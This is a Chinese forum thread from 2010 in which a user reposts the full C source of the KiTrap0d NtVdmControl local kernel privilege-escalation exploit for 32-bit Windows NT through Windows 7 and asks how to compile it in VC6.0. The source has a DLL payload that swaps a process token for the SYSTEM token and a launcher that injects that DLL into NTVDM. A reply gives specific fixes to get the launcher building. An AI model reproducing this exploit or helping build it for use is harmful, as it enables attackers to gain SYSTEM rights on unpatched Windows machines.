首页
社区
课程
招聘
[求助]请教下各位``这个C语言的文件怎么VC6.0编译?
发表于: 2010-6-24 23:13 6987

[求助]请教下各位``这个C语言的文件怎么VC6.0编译?

2010-6-24 23:13
6987
widnows VDM高危漏洞源代码
01/24/2010 21:04 by cince Original
该漏洞存在于Windows系统中Windows Virtual DOS Machine (VDM)部件,而自从1993年7月份开始VDM部件就被加入到了微软的第一个32位操作系统Windows NT中,之后它一直都是Windows系统的重要组成部分,使用它你可以用户运行DOS和16位的Windows软件,所以这个漏洞会影响到Windows XP、Vista、Windows7、Server 2003以及Server 2008等主要的32位版本Windows操作系统的安全。

exploit源代码:

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
//  Tested on:
//      $ cmd /c ver
//      Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

// Process to escalate to SYSTEM
static DWORD TargetPid;

// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;

#define KernelStackSize 1024

// Enforce byte alignment by default
#pragma pack(1)

// Kernel module handle
static HMODULE KernelHandle;

// Eflags macros
#define EFLAGS_CF_MASK   0x00000001 // carry flag
#define EFLAGS_PF_MASK   0x00000004 // parity flag
#define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK   0x00000040 // zero flag
#define EFLAGS_SF_MASK   0x00000080 // sign flag
#define EFLAGS_TF_MASK   0x00000100 // trap flag
#define EFLAGS_IF_MASK   0x00000200 // interrupt flag
#define EFLAGS_DF_MASK   0x00000400 // direction flag
#define EFLAGS_OF_MASK   0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK   0x00004000 // nested task
#define EFLAGS_RF_MASK   0x00010000 // resume flag
#define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK   0x00040000 // alignment check
#define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK   0x00200000 // identification flag

#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif

// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };

VOID    FirstStage();
BOOL    InitializeVdmSubsystem();
PVOID   KernelGetProcByName(PSTR);
BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);

// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
    FARPROC DbgPrint;
    FARPROC PsGetCurrentThread;
    FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
    FARPROC PsLookupProcessByProcessId;
    FARPROC PsReferencePrimaryToken;
    FARPROC ZwTerminateProcess;
    PVOID CurrentThread;
    PVOID TargetProcess, *PsInitialSystemProcess;
    DWORD StackBase, StackLimit;
    DWORD i;

    // Keep interrupts off until I've repaired my KTHREAD.
    __asm cli

    // Resolve some routines I need from the kernel export directory
    DbgPrint                        = KernelGetProcByName("DbgPrint");
    PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
    PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
    PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
    PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
    PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
    PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
    ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");

    CurrentThread                   = (PVOID) PsGetCurrentThread();
    StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
    StackBase                       = (DWORD) PsGetCurrentThreadStackBase();

    DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
             CurrentThread,
             StackBase,
             StackLimit);

    // First I need to repair my CurrentThread, find all references to my fake kernel
    // stack and repair them. Note that by "repair" I mean randomly point them
    // somewhere inside the real stack.
    DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
             &KernelStackPointer[0],
             &KernelStackPointer[KernelStackSize - 1],
             CurrentThread);

    // For every stack location, try to find all references to it in my
    // CurrentThread.
    for (i = 0; i < KernelStackSize; i++) {
        // The size of this structure varies between kernels, whats the maximum
        // size likely to be?
        CONST DWORD MaxExpectedEthreadSize = 0x200;
   
        // Find and repair all references to this location
        while (FindAndReplaceMember((PDWORD) CurrentThread,
                                    (DWORD) &KernelStackPointer[i],
                                    (DWORD) StackBase - ((StackBase - StackLimit) / 2),
                                    MaxExpectedEthreadSize,
                                    FALSE))
            ;
    }

    // Find the EPROCESS structure for the process I want to escalate
    if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
        PACCESS_TOKEN SystemToken;
        PACCESS_TOKEN TargetToken;

        // What's the maximum size the EPROCESS structure is ever likely to be?
        CONST DWORD MaxExpectedEprocessSize = 0x200;

        DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
        DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);

        // Find the Token object for my target process, and the SYSTEM process.
        TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
        SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);

        DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
        DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);

        // Find the token in the target process, and replace with the system token.
        FindAndReplaceMember((PDWORD) TargetProcess,
                             (DWORD) TargetToken,
                             (DWORD) SystemToken,
                             MaxExpectedEprocessSize,
                             TRUE);
   
        // Success, try to terminate the current process.
        ZwTerminateProcess(GetCurrentProcess(), 'w00t');
    } else {
        // Maybe the user closed the window?
        DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);

        // Report this failure
        ZwTerminateProcess(GetCurrentProcess(), 'LPID');
    }

    // Oops, Something went wrong, restore interrupts and spin here.
    __asm sti

    for (;;) __asm pause
}

// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
                          DWORD CurrentValue,
                          DWORD NewValue,
                          DWORD MaxSize,
                          BOOL ObjectRefs)
{
    DWORD i, Mask;

    // Microsoft QWORD aligns object pointers, then uses the lower three
    // bits for quick reference counting (nice trick).
    Mask = ObjectRefs ? ~7 : ~0;

    // Mask out the reference count.
    CurrentValue &= Mask;

    // Scan the structure for any occurrence of CurrentValue.
    for (i = 0; i < MaxSize; i++) {
        if ((Structure[i] & Mask) == CurrentValue) {
            // And finally, replace it with NewValue.
            Structure[i] = NewValue;
            return TRUE;
        }
    }

    // Member not found.
    return FALSE;
}

// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
    PUCHAR ImageBase;
    PULONG NameTable;
    PULONG FunctionTable;
    PUSHORT OrdinalTable;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    DWORD i;

    ImageBase       = (PUCHAR) KernelHandle;
    DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
    PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
                            + PeHeader->OptionalHeader
                            . DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                            . VirtualAddress);

    // Find required tablesa from the ExportDirectory.
    NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
    FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
    OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);

    // Scan each entry for a matching name.
    for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
        PCHAR Symbol = ImageBase + NameTable[i];

        if (strcmp(Symbol, SymbolName) == 0) {
            // Symbol found, return the appropriate entry from FunctionTable.
            return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
        }
    }

    // Symbol not found, this is likely fatal :-(
    return NULL;
}

// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
    CONST DWORD MinimumExpectedVdmTibSize = 0x400;
    CONST DWORD MaximumExpectedVdmTibSize = 0x800;
    FARPROC NtVdmControl;
    DWORD KernelStack[KernelStackSize];
    DWORD Ki386BiosCallReturnAddress;
    CHAR Pid[32], Off[32], Krn[32];
    struct {
        ULONG   Size;
        PVOID   Padding0;
        PVOID   Padding1;
        CONTEXT Padding2;
        CONTEXT VdmContext;
        DWORD   Padding3[1024];
    } VdmTib = {0};

    // Initialise these structures with recognisable constants to ease debugging.
    FillMemory(&VdmTib, sizeof VdmTib, 'V');
    FillMemory(&KernelStack, sizeof KernelStack, 'K');

    // Parent passes parameters via environment variables.
    //  
    //  - VDM_TARGET_PID
    //    Pid of the process to transplant a SYSTEM token onto.
    //  - VDM_TARGET_OFF
    //    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
    //  - VDM_TARGET_KRN
    //    Ntoskrnl base address.

    GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
    GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
    GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);

    NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    TargetPid                   = strtoul(Pid, NULL, 0);

    // Setup the fake kernel stack, and install a minimal VDM_TIB,
    KernelStackPointer          = KernelStack;
    KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
    KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
    KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
    KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Initialize the VDM Subsystem.
    InitializeVdmSubsystem();

    VdmTib.Size                 = MinimumExpectedVdmTibSize;
    VdmTib.VdmContext.SegCs     = 0x0B;
    VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
    VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
    VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
    *NtCurrentTeb()->Reserved4  = &VdmTib;

    // Trigger the vulnerable code via NtVdmControl().
    while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
        NtVdmControl(VdmStartExecution, NULL);

    // Unable to find correct VdmTib size.
    ExitThread('VTIB');
}

// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
    FARPROC NtAllocateVirtualMemory;
    FARPROC NtFreeVirtualMemory;
    FARPROC NtVdmControl;
    PBYTE BaseAddress;
    ULONG RegionSize;
    static DWORD TrapHandler[128];
    static DWORD IcaUserData[128];
    static struct {
        PVOID TrapHandler;
        PVOID IcaUserData;
    } InitData;

    NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
    NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
    NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00000000;
    InitData.TrapHandler    = TrapHandler;
    InitData.IcaUserData    = IcaUserData;

    // Remove anything currently mapped at NULL
    NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);

    BaseAddress             = (PVOID) 0x00000001;
    RegionSize              = (ULONG) 0x00100000;

    // Allocate the 1MB virtual 8086 address space.
    if (NtAllocateVirtualMemory(GetCurrentProcess(),
                                &BaseAddress,
                                0,
                                &RegionSize,
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
        ExitThread('NTAV');
        return FALSE;
    }

    // Finalise the initialisation.
    if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
        ExitThread('VDMC');
        return FALSE;
    }

    return TRUE;
}

//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// INTRODUCTION
//
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
// bug was so unusual I felt it deserved some special attention :-)
//
// I believe every single release of Windows NT since version 3.1 (1993) up to
// and including Windows 7 (2009) contain this error.
//
// KNOWN BUGS
//
//      * If KernelGetProcByName() ever fails, I'm probably in trouble.
//      * I hardcode several paths instead of expanding %SYSTEMROOT%.
//      * I probably need to VirtualLock() some stuff.
//      * I suspect this is unreliable on mp kernels.
//
// INSTRUCTIONS
//
//      C:\> nmake
//      C:\> vdmallowed.exe
//
// WORKAROUND
//
//      Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
//      from functioning.
//
//      http://support.microsoft.com/kb/220159
//
// GREETZ
//
//      Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <stdarg.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "advapi32")

#define PAGE_SIZE 0x1000

enum { SystemModuleInformation = 11 };

typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
   
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
static CONST UCHAR CodeSignatures[][16] = {
    { "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
    { "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
    { "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
};

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);

int main(int argc, char **argv)
{
    HANDLE VdmHandle;
    HANDLE RemoteThread;
    DWORD ShellPid;
    DWORD ThreadCode;
    DWORD KernelBase;
    CHAR Buf[32];
    DWORD Offset;

    LogMessage(L_INFO,
        "\r"
        "--------------------------------------------------\n"
        "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
        "-------------------------------------------- taviso@sdf.lonestar.org ---\n"
        "\n"
    );

    // Spawn the process to be elevated to SYSTEM.
    LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");

    if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
        LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
        goto finished;
    }

    // Scan kernel image for the required code sequence, and find the base address.
    if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
        LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
        goto finished;
    }

    // Pass the parameters required by exploit thread to NTVDM.
    SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
    SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
    SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));

    // Invoke the NTVDM subsystem, by launching any MS-DOS executable.
    LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");

    if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {
        LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
        goto finished;
    }

    // Start the exploit thread in the NTVDM process.
    LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);

    if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
        LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
        goto finished;
    }

    // Wait for the thread to complete
    LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);

    WaitForSingleObject(RemoteThread, INFINITE);

    // I pass some information back via the exit code to indicate what happened.
    GetExitCodeThread(RemoteThread, &ThreadCode);

    LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);

    switch (ThreadCode) {
        case 'VTIB':
            // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
            // matches what the kernel expects.
            // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
            LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
            break;
        case 'NTAV':
            // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
            // expects to be present.
            // The exploit thread reports it didn't work.
            LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
            break;
        case 'VDMC':
            // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
            // It's entirely undocumented, so you'll have to use kd to step through it and find out why
            // it's failing.
            LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
            break;
        case 'LPID':
            // This exploit will try to transplant the token from PsInitialSystemProcess on to an
            // unprivileged process owned by you.
            // PsLookupProcessByProcessId() failed when trying to find your process.
            LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
            break;
        case FALSE:
            // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
            // Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
            LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
            break;
        case 'w00t':
            // This means the exploit payload was executed at ring0 and succeeded.
            LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
            LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
            break;
        default:
            // Unknown error. Sorry, you're on your own.
            LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
            break;
    }

    TerminateProcess(VdmHandle, 0);
    CloseHandle(VdmHandle);
    CloseHandle(RemoteThread);

finished:
    LogMessage(L_INFO, "Press any key to exit...");
    getch();
    return 0;
}

// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
    PROCESS_INFORMATION pi = {0};
    STARTUPINFO si = { sizeof si };

    if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
        LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);

    *ProcessId = pi.dwProcessId;
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

// Grab a useful Handle to NTVDM.
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
{
    PROCESS_INFORMATION pi = {0};
    STARTUPINFO si = { sizeof si };
    ULONG i;

    // Start the child process, which should invoke NTVDM.
    if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
        LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);

    // Get more access
    if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
                                        | PROCESS_QUERY_INFORMATION
                                        | PROCESS_VM_OPERATION
                                        | PROCESS_VM_WRITE
                                        | PROCESS_VM_READ
                                        | PROCESS_TERMINATE,
                                      FALSE,
                                      pi.dwProcessId)) == NULL) {
        LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
        TerminateProcess(pi.hProcess, 'SPWN');
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }

    LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

// Use the DLL Injection technique to access the NTVDM process.
// http://en.wikipedia.org/wiki/DLL_injection
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
{
    PVOID RemotePage;
    LPTHREAD_START_ROUTINE StartRoutine;

    assert(ProcessHandle != INVALID_HANDLE_VALUE);
    assert(DllPath);
    assert(RemoteThread);

    // Allocate a page in the child process
    if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
        LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
        return FALSE;
    }

    // Write in the name of my DLL (note, memory is already zeroed)
    if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
        LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
        return FALSE;
    }

    LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
                        ProcessHandle,
                        RemotePage,
                        DllPath,
                        strlen(DllPath));

    // Execute it in child process, loading the specified library
    *RemoteThread = CreateRemoteThread(ProcessHandle,
                                       NULL,
                                       0,
                                       (LPTHREAD_START_ROUTINE)
                                           GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
                                       RemotePage,
                                       0,
                                       NULL);

    return *RemoteThread != NULL;
}

// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
    FARPROC NtQuerySystemInformation;
    HMODULE KernelHandle;
    PIMAGE_DOS_HEADER DosHeader;
    PIMAGE_NT_HEADERS PeHeader;
    PIMAGE_OPTIONAL_HEADER OptHeader;
    OSVERSIONINFO osvi = { sizeof osvi };
    PBYTE ImageBase;
    DWORD PhysicalAddressExtensions, DataSize;
    ULONG i;
    HKEY MmHandle;
    SYSTEM_MODULE_INFORMATION ModuleInfo = {0};

    // List of versions I have code signatures for.
    enum {
        MICROSOFT_WINDOWS_NT4   = 0,
        MICROSOFT_WINDOWS_2000  = 1,
        MICROSOFT_WINDOWS_XP    = 2,
        MICROSOFT_WINDOWS_2003  = 3,
        MICROSOFT_WINDOWS_VISTA = 4,
        MICROSOFT_WINDOWS_2008  = 5,
        MICROSOFT_WINDOWS_7     = 6,
    } Version = MICROSOFT_WINDOWS_7;

    // NtQuerySystemInformation can be used to find kernel base address
    NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");

    // Determine kernel version so that the correct code signature is used
    GetVersionEx(&osvi);
   
    LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);

    if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_NT4;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2000;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_XP;
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
        Version = MICROSOFT_WINDOWS_2003;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_VISTA;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
        Version = MICROSOFT_WINDOWS_2008;
    if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
        Version = MICROSOFT_WINDOWS_7;

    // Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
    NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);

    LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
                        ModuleInfo.Module[0].ImageName,
                        ModuleInfo.Module[0].Base);

    // Load the kernel image specified
    if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
        LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
        return FALSE;
    }

    // Parse image headers
    *KernelBase                 = (DWORD) ModuleInfo.Module[0].Base;
    ImageBase                   = (PBYTE) KernelHandle;
    DosHeader                   = (PIMAGE_DOS_HEADER)(ImageBase);
    PeHeader                    = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
    OptHeader                   = &PeHeader->OptionalHeader;

    LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
                        osvi.dwMajorVersion,
                        osvi.dwMinorVersion,
                        CodeSignatures[Version][0],
                        CodeSignatures[Version][1]);

    // Scan for the appropriate signature
    for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
        if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
            LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);

            *OffsetFromBase = i;
            FreeLibrary(KernelHandle);
            return TRUE;
        }
    }

    LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
   
    FreeLibrary(KernelHandle);

    return FALSE;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "
  • %s\n", Buffer); break;
  •         case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
        }

        fflush(stdout);
        fflush(stderr);

        return TRUE;
    }

    [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

    上传的附件:
    收藏
    免费 0
    支持
    分享
    最新回复 (2)
    雪    币: 209
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    2
    顶下`希望高手们解释下
    2010-6-28 12:28
    0
    雪    币: 219
    活跃值: (10)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    3
    你包中的 .exe 和 .dll 文件小红伞报警,del了。

    #define _WIN32_WINNT 0x0501

    vc6 编译 vdmallowed.c
    简单些 vsnprintf_s 改为旧的 vsnprintf 或 snprintf 函数,因为vc8增加了安全性

    _TRUNCATE 是vc8新增的,从定义看也是为了增加了安全性,防止变量越界
    #if !defined(_TRUNCATE)
    #define _TRUNCATE ((size_t)-1)
    #endif

    如此可编译了。

    ==============
    vdmexploit.c 烦些,需要ddk,vc6 编译改动较大
    2010-7-1 11:36
    0
    游客
    登录 | 注册 方可回帖
    返回
    //